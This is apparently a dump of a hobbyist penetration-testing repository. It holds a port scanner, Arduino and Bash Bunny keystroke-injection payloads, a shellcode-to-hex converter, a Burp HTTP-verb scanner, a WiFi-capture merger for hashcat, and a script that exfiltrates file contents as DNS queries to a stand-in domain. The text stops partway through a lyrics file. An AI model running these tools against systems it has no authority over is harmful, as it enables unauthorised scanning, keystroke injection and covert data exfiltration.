├── AlexaPortScanner ├── README.md ├── __init__.py └── alexaPortScanner.py ├── AndroidCloseTabs ├── README.md ├── __init__.py └── androidCloseTabs.py ├── ArduinoHID ├── README.md ├── __init__.py ├── pony_wallpaper_mspaint.ino └── pony_wallpaper_photoviewer.ino ├── BashBunnyPayloads ├── BunnyType │ ├── README.md │ └── payload.txt └── README.md ├── BinToHex ├── README.md ├── __init__.py └── binToHex.py ├── BurpVERBalyzer ├── README.md ├── VERBalyzer.py └── __init__.py ├── CapsToHccapx ├── README.md ├── __init__.py └── convert_combine.sh ├── DNSRickroll ├── README.md ├── __init__.py ├── dnsRickroll.py └── lyrics.txt ├── ECBPlaintextAttack ├── README.md ├── __init__.py ├── ecbAttack.py └── ecbServer.py ├── FileIntegrity ├── .bashrc ├── .gitignore ├── README.md ├── __init__.py └── fileintegrity.py ├── GetIP ├── .gitignore ├── GetIP.ps1 ├── README.md └── __init__.py ├── HackerScripts ├── README.md ├── __init__.py ├── hacker1.bat └── hacker2.bat ├── ImageExtract ├── README.md ├── __init__.py └── imgExtract.py ├── IpExpander ├── README.md ├── __init__.py └── ipExpander.py ├── PortScanner ├── README.md ├── __init__.py └── portScanner.py ├── PyDHCPDiscover ├── README.md ├── __init__.py └── dhcpdiscover.py ├── PythonShellcode ├── README.md ├── __init__.py └── pythonShellcode.py ├── README.md ├── RSAGenKey ├── README.md ├── __init__.py └── genKey.py ├── ReverseShell ├── README.md ├── __init__.py └── reverseShell.py └── ZipCracker ├── 10_million_password_list_top_10000.txt ├── README.md ├── __init__.py └── zipCracker.py /AlexaPortScanner/README.md: -------------------------------------------------------------------------------- 1 | # AlexaPortScanner 2 | A simple Python port scanner controlled via an Alexa skill 3 | 4 | # Features 5 | * Scans a few common ports on a site via an Amazon Echo 6 | * More to come! 7 | * See the following post for more information - https://www.doyler.net/security-not-included/alexa-port-scanner 8 | 9 | # TODO 10 | * Add more ports 11 | * Add the ability to configure ports and scan types 12 | * Find a way to scan any site without adding to intents 13 | * Grab banners from the ports 14 | * Update the README -------------------------------------------------------------------------------- /AlexaPortScanner/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyler/SecurityTools/7f485efde5e5380c96667bbccb0a29a52c5bd311/AlexaPortScanner/__init__.py -------------------------------------------------------------------------------- /AlexaPortScanner/alexaPortScanner.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | 4 | # --------------- Helpers that build all of the responses ---------------------- 5 | 6 | def build_speechlet_response(title, output, reprompt_text, should_end_session): 7 | return { 8 | 'outputSpeech': { 9 | 'type': 'PlainText', 10 | 'text': output 11 | }, 12 | 'card': { 13 | 'type': 'Simple', 14 | 'title': "SessionSpeechlet - " + title, 15 | 'content': "SessionSpeechlet - " + output 16 | }, 17 | 'reprompt': { 18 | 'outputSpeech': { 19 | 'type': 'PlainText', 20 | 'text': reprompt_text 21 | } 22 | }, 23 | 'shouldEndSession': should_end_session 24 | } 25 | 26 | 27 | def build_response(session_attributes, speechlet_response): 28 | return { 29 | 'version': '1.0', 30 | 'sessionAttributes': session_attributes, 31 | 'response': speechlet_response 32 | } 33 | 34 | 35 | # --------------- Functions that control the skill's behavior ------------------ 36 | 37 | def get_welcome_response(): 38 | """ If we wanted to initialize the session to have some attributes we could 39 | add those here 40 | """ 41 | 42 | session_attributes = {} 43 | card_title = "Welcome" 44 | speech_output = "Welcome to the Alexa Port Scanner. "\ 45 | "Please scan a site by saying, "\ 46 | "Port Scan doyler.net" 47 | # If the user either does not reply to the welcome message or says something 48 | # that is not understood, they will be prompted again with this text. 49 | reprompt_text = "Please tell me a site you'd like to scan by saying, " \ 50 | "Port Scan doyler.net" 51 | should_end_session = False 52 | return build_response(session_attributes, build_speechlet_response( 53 | card_title, speech_output, reprompt_text, should_end_session)) 54 | 55 | 56 | def handle_session_end_request(): 57 | card_title = "Session Ended" 58 | speech_output = "Thank you for trying the Alexa Port Scanner. " \ 59 | "Have a nice day! " 60 | # Setting this to true ends the session and exits the skill. 61 | should_end_session = True 62 | return build_response({}, build_speechlet_response( 63 | card_title, speech_output, None, should_end_session)) 64 | 65 | 66 | def scan_site(intent, session): 67 | card_title = intent['name'] 68 | session_attributes = {} 69 | open_ports = [] 70 | should_end_session = False 71 | 72 | if 'Site' in intent['slots']: 73 | host = intent['slots']['Site']['value'] 74 | host = host.replace(" ", "") 75 | 76 | ports = [22, 23, 80, 443, 445, 3389] 77 | 78 | for port in ports: 79 | try: 80 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 81 | s.settimeout(5) 82 | result = s.connect_ex((host, port)) 83 | if result == 0: 84 | session_attributes[port] = 'open' 85 | open_ports.append(port) 86 | print(str(open_ports)) 87 | s.close() 88 | except: 89 | print("Unexpected error:" + str(sys.exc_info()[0])) 90 | pass 91 | 92 | speech_output = "The following ports are open on doyler.net " + \ 93 | str(open_ports) + \ 94 | "." 95 | reprompt_text = "You can ask me to scan a different site by saying, " \ 96 | "Port Scan r4y.pw" 97 | else: 98 | speech_output = "I'm not sure what site you want to scan. " \ 99 | "Please try again." 100 | reprompt_text = "I'm not sure what site you want to scan. " \ 101 | "You can tell me your favorite color by saying, " \ 102 | "Port Scan doyler.net" 103 | return build_response(session_attributes, build_speechlet_response( 104 | card_title, speech_output, reprompt_text, should_end_session)) 105 | 106 | 107 | 108 | # --------------- Events ------------------ 109 | 110 | def on_session_started(session_started_request, session): 111 | """ Called when the session starts """ 112 | 113 | print("on_session_started requestId=" + session_started_request['requestId'] 114 | + ", sessionId=" + session['sessionId']) 115 | 116 | 117 | def on_launch(launch_request, session): 118 | """ Called when the user launches the skill without specifying what they 119 | want 120 | """ 121 | 122 | print("on_launch requestId=" + launch_request['requestId'] + 123 | ", sessionId=" + session['sessionId']) 124 | # Dispatch to your skill's launch 125 | return get_welcome_response() 126 | 127 | 128 | def on_intent(intent_request, session): 129 | """ Called when the user specifies an intent for this skill """ 130 | 131 | print("on_intent requestId=" + intent_request['requestId'] + 132 | ", sessionId=" + session['sessionId']) 133 | 134 | intent = intent_request['intent'] 135 | intent_name = intent_request['intent']['name'] 136 | 137 | # Dispatch to your skill's intent handlers 138 | if intent_name == "PortScanIntent": 139 | return scan_site(intent, session) 140 | elif intent_name == "AMAZON.HelpIntent": 141 | return get_welcome_response() 142 | elif intent_name == "AMAZON.CancelIntent" or intent_name == "AMAZON.StopIntent": 143 | return handle_session_end_request() 144 | else: 145 | raise ValueError("Invalid intent") 146 | 147 | 148 | def on_session_ended(session_ended_request, session): 149 | """ Called when the user ends the session. 150 | 151 | Is not called when the skill returns should_end_session=true 152 | """ 153 | print("on_session_ended requestId=" + session_ended_request['requestId'] + 154 | ", sessionId=" + session['sessionId']) 155 | # add cleanup logic here 156 | 157 | 158 | # --------------- Main handler ------------------ 159 | 160 | def lambda_handler(event, context): 161 | """ Route the incoming request based on type (LaunchRequest, IntentRequest, 162 | etc.) The JSON body of the request is provided in the event parameter. 163 | """ 164 | print("event.session.application.applicationId=" + 165 | event['session']['application']['applicationId']) 166 | 167 | """ 168 | Uncomment this if statement and populate with your skill's application ID to 169 | prevent someone else from configuring a skill that sends requests to this 170 | function. 171 | """ 172 | # if (event['session']['application']['applicationId'] != 173 | # "amzn1.echo-sdk-ams.app.[unique-value-here]"): 174 | # raise ValueError("Invalid Application ID") 175 | 176 | if event['session']['new']: 177 | on_session_started({'requestId': event['request']['requestId']}, 178 | event['session']) 179 | 180 | if event['request']['type'] == "LaunchRequest": 181 | return on_launch(event['request'], event['session']) 182 | elif event['request']['type'] == "IntentRequest": 183 | return on_intent(event['request'], event['session']) 184 | elif event['request']['type'] == "IntentRequest": 185 | return on_session_ended(event['request'], event['session']) 186 | elif event['request']['type'] == "SessionEndedRequest": 187 | return on_session_ended(event['request'], event['session']) 188 | -------------------------------------------------------------------------------- /AndroidCloseTabs/README.md: -------------------------------------------------------------------------------- 1 | # Android Close Tabs 2 | A tool to automatically close every tab in an Android Chrome browser. 3 | 4 | # Requirements 5 | * Requires ADB on the controlling system 6 | * Requires port forwarding from the local host to the chrome_devtools_remote endpoint 7 | * See the following post for more information - https://www.doyler.net/security-not-included/combining-hccapx-files -------------------------------------------------------------------------------- /AndroidCloseTabs/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyler/SecurityTools/7f485efde5e5380c96667bbccb0a29a52c5bd311/AndroidCloseTabs/__init__.py -------------------------------------------------------------------------------- /AndroidCloseTabs/androidCloseTabs.py: -------------------------------------------------------------------------------- 1 | import json 2 | import requests 3 | 4 | response = requests.get("http://localhost:9222/json/list") 5 | 6 | #print(response.text.encode('utf-8')) 7 | 8 | json_data = json.loads(response.text.encode('utf-8')) 9 | 10 | for link in json_data: 11 | #print(link['id']) 12 | response = requests.get("http://localhost:9222/json/close/" + link['id']) 13 | print(response.text) -------------------------------------------------------------------------------- /ArduinoHID/README.md: -------------------------------------------------------------------------------- 1 | # ArduinoHID 2 | A collection of Arduino HID payloads to be used in lieu of a Rubber Ducky 3 | 4 | # Features 5 | * Changing the background of a Windows 10 machine 6 | * More to come! 7 | * See the following post for more information - https://www.doyler.net/security-not-included/diy-usb-rubber-ducky 8 | 9 | # TODO 10 | * Add more payloads 11 | * Update the README 12 | * Look into advanced payloads utilizing the Arduino features -------------------------------------------------------------------------------- /ArduinoHID/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyler/SecurityTools/7f485efde5e5380c96667bbccb0a29a52c5bd311/ArduinoHID/__init__.py -------------------------------------------------------------------------------- /ArduinoHID/pony_wallpaper_mspaint.ino: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void typeKey(int key) 4 | { 5 | Keyboard.press(key); 6 | delay(50); 7 | Keyboard.release(key); 8 | } 9 | 10 | /* Init function */ 11 | void setup() 12 | { 13 | // Begining the Keyboard stream 14 | Keyboard.begin(); 15 | 16 | delay(2500); 17 | 18 | Keyboard.press(KEY_LEFT_CTRL); 19 | Keyboard.press(KEY_ESC); 20 | Keyboard.releaseAll(); 21 | 22 | delay(250); 23 | 24 | Keyboard.print("iexplore http://cdn32.sptndigital.com/sites/uk.tinypop/files/styles/image_1170x658/public/ct_series_f_primary_image/mylittlepony_show.jpg"); 25 | 26 | typeKey(KEY_RETURN); 27 | 28 | delay(2500); 29 | 30 | Keyboard.press(KEY_LEFT_CTRL); 31 | Keyboard.press('s'); 32 | Keyboard.releaseAll(); 33 | 34 | delay(1000); 35 | 36 | typeKey(KEY_RETURN); 37 | 38 | delay(250); 39 | 40 | Keyboard.press(KEY_LEFT_ALT); 41 | Keyboard.press(KEY_F4); 42 | Keyboard.releaseAll(); 43 | 44 | delay(250); 45 | 46 | Keyboard.press(KEY_LEFT_CTRL); 47 | Keyboard.press(KEY_ESC); 48 | Keyboard.releaseAll(); 49 | 50 | delay(250); 51 | 52 | Keyboard.print("mspaint %USERPROFILE%\\Pictures\\mylittlepony_show.jpg"); 53 | 54 | delay(250); 55 | 56 | typeKey(KEY_RETURN); 57 | 58 | delay(1000); 59 | 60 | Keyboard.press(KEY_LEFT_ALT); 61 | Keyboard.press('f'); 62 | Keyboard.releaseAll(); 63 | 64 | delay(1000); 65 | 66 | typeKey('b'); 67 | 68 | delay(500); 69 | 70 | Keyboard.press(KEY_LEFT_ALT); 71 | Keyboard.press(KEY_F4); 72 | Keyboard.releaseAll(); 73 | 74 | delay(250); 75 | 76 | Keyboard.press(KEY_LEFT_CTRL); 77 | Keyboard.press(KEY_ESC); 78 | Keyboard.releaseAll(); 79 | 80 | delay(1350); 81 | 82 | Keyboard.print("cmd /c del %USERPROFILE%\\Pictures\\mylittlepony_show.jpg"); 83 | 84 | delay(250); 85 | 86 | typeKey(KEY_RETURN); 87 | 88 | delay(500); 89 | 90 | // Ending stream 91 | Keyboard.end(); 92 | } 93 | 94 | /* Unused endless loop */ 95 | void loop() {} 96 | -------------------------------------------------------------------------------- /ArduinoHID/pony_wallpaper_photoviewer.ino: -------------------------------------------------------------------------------- 1 | #include "Keyboard.h" 2 | 3 | void typeKey(int key) 4 | { 5 | Keyboard.press(key); 6 | delay(50); 7 | Keyboard.release(key); 8 | } 9 | 10 | /* Init function */ 11 | void setup() 12 | { 13 | // Begining the Keyboard stream 14 | Keyboard.begin(); 15 | 16 | // Wait 500ms 17 | delay(500); 18 | 19 | delay(5000); 20 | 21 | Keyboard.press(KEY_LEFT_CTRL); 22 | Keyboard.press(KEY_LEFT_ESC); 23 | Keyboard.releaseAll(); 24 | 25 | delay(100); 26 | 27 | Keyboard.print("iexplore http://cdn32.sptndigital.com/sites/uk.tinypop/files/styles/image_1170x658/public/ct_series_f_primary_image/mylittlepony_show.jpg"); 28 | 29 | typeKey(KEY_RETURN); 30 | 31 | delay(5000); 32 | 33 | Keyboard.press(KEY_LEFT_CTRL); 34 | Keyboard.press('s'); 35 | Keyboard.releaseAll(); 36 | 37 | delay(2000); 38 | 39 | typeKey(KEY_RETURN); 40 | 41 | delay(300); 42 | 43 | Keyboard.press(KEY_LEFT_CTRL); 44 | Keyboard.press(KEY_LEFT_ESC); 45 | Keyboard.releaseAll(); 46 | 47 | delay(300); 48 | 49 | Keyboard.print("%USERPROFILE%\\Documents\\mylittlepony_show.jpg"); 50 | 51 | delay(500); 52 | 53 | typeKey(KEY_RETURN); 54 | 55 | delay(500); 56 | 57 | typeKey(KEY_TAB); 58 | 59 | delay(500); 60 | 61 | typeKey(KEY_TAB); 62 | 63 | delay(500); 64 | 65 | typeKey(KEY_TAB); 66 | 67 | delay(500); 68 | 69 | typeKey(KEY_TAB); 70 | 71 | delay(500); 72 | 73 | typeKey(KEY_TAB); 74 | 75 | delay(500); 76 | 77 | typeKey(KEY_TAB); 78 | 79 | delay(500); 80 | 81 | typeKey(KEY_TAB); 82 | 83 | delay(500); 84 | 85 | typeKey(KEY_RETURN); 86 | 87 | delay(500); 88 | 89 | typeKey(KEY_DOWN_ARROW); 90 | 91 | delay(500); 92 | 93 | typeKey(KEY_DOWN_ARROW); 94 | 95 | delay(500); 96 | 97 | typeKey(KEY_DOWN_ARROW); 98 | 99 | delay(500); 100 | 101 | typeKey(KEY_DOWN_ARROW); 102 | 103 | delay(500); 104 | 105 | typeKey(KEY_RETURN); 106 | 107 | delay(500); 108 | 109 | typeKey(KEY_DOWN_ARROW); 110 | 111 | delay(500); 112 | 113 | typeKey(KEY_DOWN_ARROW); 114 | 115 | delay(500); 116 | 117 | typeKey(KEY_RETURN); 118 | 119 | delay(500); 120 | 121 | // Ending stream 122 | Keyboard.end(); 123 | } 124 | 125 | /* Unused endless loop */ 126 | void loop() {} -------------------------------------------------------------------------------- /BashBunnyPayloads/BunnyType/README.md: -------------------------------------------------------------------------------- 1 | # BunnyType 2 | Type out files stored on the Bash Bunny to the local machine. 3 | 4 | For more information, see the following blog post - https://www.doyler.net/security-not-included/type-bash-bunny-payloads-bunnytype -------------------------------------------------------------------------------- /BashBunnyPayloads/BunnyType/payload.txt: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Title: BunnyType 4 | # Author: doylersec 5 | # Version: 1.0 6 | # Target: Windows 7 | # 8 | # Types the contents of a file into the application of your choosing. 9 | # Best used for environments where copy and paste isn't available, or for large 10 | # files that you cannot access over the internet/local network/mass storage devices. 11 | # 12 | # 13 | # Blue --- Setup and opening the application 14 | # Yellow --- Typing the contents 15 | # Green --- Done 16 | # 17 | 18 | ATTACKMODE HID 19 | 20 | LED B 21 | 22 | # Gets the switch position 23 | GET SWITCH_POSITION 24 | 25 | application="notepad" 26 | file="/root/udisk/payloads/${SWITCH_POSITION}/file.txt" 27 | mytab=`echo -e "\t"` 28 | newline=`echo -e "\n"` 29 | 30 | # Checks to see if file.txt is present, and if so, reads it into a variable 31 | if [ ! -f "/root/udisk/payloads/${SWITCH_POSITION}/file.txt" ] ; then 32 | LED FAIL 33 | exit 1 34 | fi 35 | 36 | # Open the application 37 | Q GUI r 38 | Q DELAY 100 39 | Q STRING ${application} 40 | Q ENTER 41 | 42 | LED Y 43 | 44 | # Type out the payload, including white-space replacement 45 | IFS='' 46 | while read -n1 c; do 47 | if [ "$c" == "$newline" ] ; then 48 | Q ENTER 49 | elif [ "$c" == "$mytab" ] ; then 50 | Q TAB 51 | elif [ "$c" == " " ] ; then 52 | Q SPACE 53 | else 54 | Q STRING "$c" 55 | fi 56 | done < "$file" 57 | 58 | LED G -------------------------------------------------------------------------------- /BashBunnyPayloads/README.md: -------------------------------------------------------------------------------- 1 | # BashBunnyPayloads 2 | A collection of [Bash Bunny](https://shop.hak5.org/products/bash-bunny) payloads for various tasks. 3 | 4 | # Payloads 5 | * Typing up the contents of a local file 6 | * More to come! 7 | 8 | # TODO 9 | * Add more payloads 10 | * Update the README 11 | * Look into advanced payloads 12 | 13 | 14 | For more information, please see the individual folders or my [blog](https://www.doyler.net) 15 | 16 | * Type Bash Bunny Payloads using BunnyType - https://www.doyler.net/security-not-included/type-bash-bunny-payloads-bunnytype -------------------------------------------------------------------------------- /BinToHex/README.md: -------------------------------------------------------------------------------- 1 | BinToHex 2 | =============== 3 | 4 | A simple script for converting binary files to encoded hex written in Python 5 | -------------------------------------------------------------------------------- /BinToHex/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyler/SecurityTools/7f485efde5e5380c96667bbccb0a29a52c5bd311/BinToHex/__init__.py -------------------------------------------------------------------------------- /BinToHex/binToHex.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | #!/usr/bin/env python 4 | if __name__ == "__main__": 5 | 6 | shellcode = "\"" 7 | ctr = 1 8 | maxlen = 15 9 | 10 | for b in open("win-exec-calc-shellcode.bin", "rb").read(): 11 | shellcode += "\\x" + b.encode("hex") 12 | if ctr == maxlen: 13 | shellcode += "\" +\n\"" 14 | ctr = 0 15 | ctr += 1 16 | shellcode += "\"" 17 | print(shellcode) 18 | -------------------------------------------------------------------------------- /BurpVERBalyzer/README.md: -------------------------------------------------------------------------------- 1 | # Burp VERBalyzer 2 | A Burp plugin for detecting non-standard HTTP methods in use by a target server 3 | 4 | # Features 5 | * Insertion point for allowing Burp to inject payloads into the HTTP method 6 | * Active Scanner check with a list of potential verbs to test 7 | 8 | ![Execution](https://www.doyler.net/wp-content/uploads/verbalyzer/verbalyzer-3-httpbin.png) 9 | 10 | # TODO 11 | * Add support for more HTTP methods 12 | * Create a tab in Burp for configuration and reporting 13 | * Submit the plugin to the BApp Store 14 | * Fix the duplicate issue reporting 15 | * Add different test logic for various HTTP responses 16 | -------------------------------------------------------------------------------- /BurpVERBalyzer/VERBalyzer.py: -------------------------------------------------------------------------------- 1 | # VERBalyzer - Burp Plugin to detect HTTP Methods supported by the server 2 | # Author: Ray Doyle (@doylersec) 3 | # Copyright 2017 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # http://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # Unless required by applicable law or agreed to in writing, software 12 | # distributed under the License is distributed on an "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | # See the License for the specific language governing permissions and 15 | # limitations under the License. 16 | 17 | try: 18 | from burp import IBurpExtender 19 | from burp import IScannerCheck 20 | from burp import IScanIssue 21 | from burp import IScannerInsertionPointProvider 22 | from burp import IScannerInsertionPoint 23 | from burp import IParameter 24 | from array import array 25 | from org.python.core.util import StringUtil 26 | import string 27 | except ImportError: 28 | print("Failed to load dependencies.") 29 | 30 | VERSION = "1.0" 31 | callbacks = None 32 | helpers = None 33 | 34 | methods = [ 35 | 'OPTIONS', 36 | #'GET', 37 | #'HEAD', 38 | #'POST', 39 | 'PUT', 40 | #'DELETE', 41 | 'TRACE', 42 | 'CONNECT' 43 | 'PROPFIND', 44 | 'PROPPATCH', 45 | 'MKCOL', 46 | 'COPY', 47 | 'MOVE', 48 | 'LOCK', 49 | 'UNLOCK', 50 | 'VERSION-CONTROL', 51 | 'REPORT', 52 | 'CHECKOUT', 53 | 'CHECKIN', 54 | 'UNCHECKOUT', 55 | 'MKWORKSPACE', 56 | 'UPDATE', 57 | 'LABEL', 58 | 'MERGE', 59 | 'BASELINE-CONTROL', 60 | 'MKACTIVITY', 61 | 'ORDERPATCH', 62 | 'ACL', 63 | 'SEARCH', 64 | 'PATCH', 65 | 'FOO' 66 | ] 67 | 68 | class BurpExtender(IBurpExtender, IScannerInsertionPointProvider, IScannerCheck): 69 | def registerExtenderCallbacks(self, callbacks): 70 | self._callbacks = callbacks 71 | self._helpers = callbacks.getHelpers() 72 | 73 | callbacks.setExtensionName("VERBalyzer") 74 | 75 | callbacks.registerScannerInsertionPointProvider(self) 76 | callbacks.registerScannerCheck(self) 77 | 78 | print("Successfully loaded VERBalyzer v" + VERSION) 79 | return 80 | 81 | # helper method to search a response for occurrences of a literal match string 82 | # and return a list of start/end offsets 83 | def _get_matches(self, response, match): 84 | matches = [] 85 | start = 0 86 | reslen = len(response) 87 | matchlen = len(match) 88 | while start < reslen: 89 | start = self._helpers.indexOf(response, match, True, start, reslen) 90 | if start == -1: 91 | break 92 | matches.append(array('i', [start, start + matchlen])) 93 | start += matchlen 94 | 95 | return matches 96 | 97 | # 98 | # implement IScannerInsertionPointProvider 99 | # 100 | def getInsertionPoints(self, baseRequestResponse): 101 | requestLine = self._helpers.analyzeRequest(baseRequestResponse.getRequest()).getHeaders()[0] 102 | 103 | if (requestLine is None): 104 | return None 105 | 106 | else: 107 | # if the parameter is present, add a single custom insertion point for it 108 | return [ InsertionPoint(self._helpers, baseRequestResponse.getRequest(), requestLine) ] 109 | 110 | def doActiveScan(self, baseRequestResponse, insertionPoint): 111 | if 'HTTP Method' != insertionPoint.getInsertionPointName(): 112 | return [] 113 | 114 | issues = [] 115 | 116 | for method in methods: 117 | checkRequest = insertionPoint.buildRequest(method) 118 | checkRequestResponse = self._callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), checkRequest) 119 | 120 | matches = self._get_matches(checkRequestResponse.getResponse(), "HTTP/1.1 200 OK") 121 | 122 | if len(matches) > 0: 123 | # get the offsets of the payload within the request, for in-UI highlighting 124 | requestHighlights = [insertionPoint.getPayloadOffsets(method)] 125 | 126 | issues.append(CustomScanIssue( 127 | baseRequestResponse.getHttpService(), 128 | self._helpers.analyzeRequest(baseRequestResponse).getUrl(), 129 | [self._callbacks.applyMarkers(checkRequestResponse, requestHighlights, matches)], 130 | "Non-standard HTTP Method Found", 131 | "The following method was found to be supported by the server: " + method, 132 | "Medium")) 133 | 134 | return issues 135 | 136 | def doPassiveScan(self, basePair): 137 | return [] 138 | 139 | def consolidateDuplicateIssues(self, existingIssue, newIssue): 140 | # This method is called when multiple issues are reported for the same URL 141 | # path by the same extension-provided check. The value we return from this 142 | # method determines how/whether Burp consolidates the multiple issues 143 | # to prevent duplication 144 | # 145 | # Since the issue name is sufficient to identify our issues as different, 146 | # if both issues have the same name, only report the existing issue 147 | # otherwise report both issues 148 | if existingIssue.getIssueDetail() == newIssue.getIssueDetail(): 149 | return -1 150 | return 0 151 | 152 | # 153 | # class implementing IScannerInsertionPoint 154 | # 155 | 156 | class InsertionPoint(IScannerInsertionPoint): 157 | 158 | def __init__(self, helpers, baseRequest, requestLine): 159 | self._helpers = helpers 160 | self._baseRequest = baseRequest 161 | 162 | # parse the location of the input string within the decoded data 163 | start = 0 164 | self._insertionPointPrefix = requestLine[:start] 165 | end = string.find(requestLine, " /", start) 166 | if (end == -1): 167 | end = requestLine.length() 168 | self._baseValue = requestLine[start:end] 169 | self._insertionPointSuffix = requestLine[end:] 170 | return 171 | 172 | # 173 | # implement IScannerInsertionPoint 174 | # 175 | def getInsertionPointName(self): 176 | return "HTTP Method" 177 | 178 | def getBaseValue(self): 179 | return self._baseValue 180 | 181 | def buildRequest(self, payload): 182 | # Gross workaround via Dafydd - https://support.portswigger.net/customer/portal/questions/12431820-design-of-active-scanner-plugin-vs-insertionpoints 183 | if payload.tostring() not in methods: 184 | raise Exception('Just stopping Burp from using our custom insertion point') 185 | else: 186 | requestStr = self._baseRequest.tostring() 187 | 188 | newRequest = requestStr.replace(self._baseValue, payload) 189 | newRequestB = StringUtil.toBytes(newRequest) 190 | 191 | # update the request with the new parameter value 192 | return newRequestB 193 | 194 | def getPayloadOffsets(self, payload): 195 | return [0, len(payload.tostring())] 196 | 197 | def getInsertionPointType(self): 198 | return INS_EXTENSION_PROVIDED 199 | 200 | # 201 | # class implementing IScanIssue to hold our custom scan issue details 202 | # 203 | class CustomScanIssue (IScanIssue): 204 | def __init__(self, httpService, url, httpMessages, name, detail, severity): 205 | self._httpService = httpService 206 | self._url = url 207 | self._httpMessages = httpMessages 208 | self._name = name 209 | self._detail = detail 210 | self._severity = severity 211 | 212 | def getUrl(self): 213 | return self._url 214 | 215 | def getIssueName(self): 216 | return self._name 217 | 218 | def getIssueType(self): 219 | return 0 220 | 221 | def getSeverity(self): 222 | return self._severity 223 | 224 | def getConfidence(self): 225 | return "Certain" 226 | 227 | def getIssueBackground(self): 228 | pass 229 | 230 | def getRemediationBackground(self): 231 | pass 232 | 233 | def getIssueDetail(self): 234 | return self._detail 235 | 236 | def getRemediationDetail(self): 237 | pass 238 | 239 | def getHttpMessages(self): 240 | return self._httpMessages 241 | 242 | def getHttpService(self): 243 | return self._httpService 244 | -------------------------------------------------------------------------------- /BurpVERBalyzer/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyler/SecurityTools/7f485efde5e5380c96667bbccb0a29a52c5bd311/BurpVERBalyzer/__init__.py -------------------------------------------------------------------------------- /CapsToHccapx/README.md: -------------------------------------------------------------------------------- 1 | # CapsToHccapx 2 | A simple bash script to combine multiple .cap files into one .hccapx 3 | 4 | # Features 5 | * Takes a directory full of .cap files (generally from airodump) and converts them to one .hccapx file 6 | * Open for more suggestions! 7 | * See the following post for more information - https://www.doyler.net/security-not-included/combining-hccapx-files 8 | 9 | # TODO 10 | * Add ability to check multiple directories? 11 | * Check to see if cap2hccapx exists and is in the right directory 12 | * Clean up the code -------------------------------------------------------------------------------- /CapsToHccapx/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyler/SecurityTools/7f485efde5e5380c96667bbccb0a29a52c5bd311/CapsToHccapx/__init__.py -------------------------------------------------------------------------------- /CapsToHccapx/convert_combine.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | FILES=./*.cap 3 | NETWORKS="NETWORK1 NETWORK2 GUESTNETWORK" 4 | for network in $NETWORKS 5 | do 6 | #echo $network 7 | for f in $FILES 8 | do 9 | #echo $f 10 | ~/tools/hashcat-utils/src/cap2hccapx.bin $f $f-temp.hccapx $network 11 | done 12 | done 13 | HCCAPX=./*.hccapx 14 | for i in $HCCAPX 15 | do 16 | cat "$i" >> combined.hccapx 17 | rm "$i" 18 | done -------------------------------------------------------------------------------- /DNSRickroll/README.md: -------------------------------------------------------------------------------- 1 | # DNSRickroll 2 | Have some fun Rick-Rolling your favorite Blue Team, or just test DNS exfiltration capabilities. 3 | 4 | # Features 5 | * Converting the lyrics to https://www.youtube.com/watch?v=dQw4w9WgXcQ to ASCII Hex and sending DNS requests to the specified domain. 6 | 7 | ![Execution](https://www.doyler.net/wp-content/uploads/dnsRickroll/dnsRickroll-1-execution.png) 8 | 9 | # TODO 10 | * Add support for more lyrics 11 | * Dynamically shorten the lines (increase throughput + allow alternative files) 12 | * View page to lookup results -------------------------------------------------------------------------------- /DNSRickroll/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyler/SecurityTools/7f485efde5e5380c96667bbccb0a29a52c5bd311/DNSRickroll/__init__.py -------------------------------------------------------------------------------- /DNSRickroll/dnsRickroll.py: -------------------------------------------------------------------------------- 1 | import dns.resolver 2 | import urllib.request, urllib.parse, urllib.error 3 | 4 | myResolver = dns.resolver.Resolver() 5 | domain = "dns.exfil.com" 6 | 7 | with open('lyrics.txt') as f: 8 | content = f.readlines() 9 | content = [x.strip() for x in content] 10 | 11 | for line in content: 12 | hex = ''.join("{:02x}".format(ord(c)) for c in line) 13 | #print hex 14 | #print len(hex) 15 | 16 | query = myResolver.query(hex + "." + domain, "A") 17 | -------------------------------------------------------------------------------- /DNSRickroll/lyrics.txt: -------------------------------------------------------------------------------- 1 | We're no strangers to love 2 | You know the rules and so do I 3 | A full commitment's what 4 | I'm thinking of 5 | You wouldn't get this from any 6 | other guy 7 | I just wanna tell you how I'm 8 | feeling 9 | Gotta make you understand 10 | Never gonna give you up 11 | Never gonna let you down 12 | Never gonna run around and 13 | desert you 14 | Never gonna make you cry 15 | Never gonna say goodbye 16 | Never gonna tell a lie and 17 | hurt you 18 | We've known each other 19 | for so long 20 | Your heart's been aching, but 21 | You're too shy to say it 22 | Inside, we both know what's 23 | been going on 24 | We know the game and we're 25 | gonna play it 26 | And if you ask me how I'm 27 | feeling 28 | Don't tell me you're too 29 | blind to see 30 | Never gonna give you up 31 | Never gonna let you down 32 | Never gonna run around and 33 | desert you 34 | Never gonna make you cry 35 | Never gonna say goodbye 36 | Never gonna tell a lie and 37 | hurt you 38 | Never gonna give you up 39 | Never gonna let you down 40 | Never gonna run around and 41 | desert you 42 | Never gonna make you cry 43 | Never gonna say goodbye 44 | Never gonna tell a lie and 45 | hurt you 46 | (Ooh, give you up) 47 | (Ooh, give you up) 48 | Never gonna give, 49 | never gonna give 50 | (Give you up) 51 | Never gonna give, 52 | never gonna give 53 | (Give you up) 54 | We've known each 55 | other for so long 56 | Your heart's been aching, but 57 | You're too shy to say it 58 | Inside, we both know what's 59 | been going on 60 | We know the game and we're 61 | gonna play it 62 | I just wanna tell you how I'm 63 | 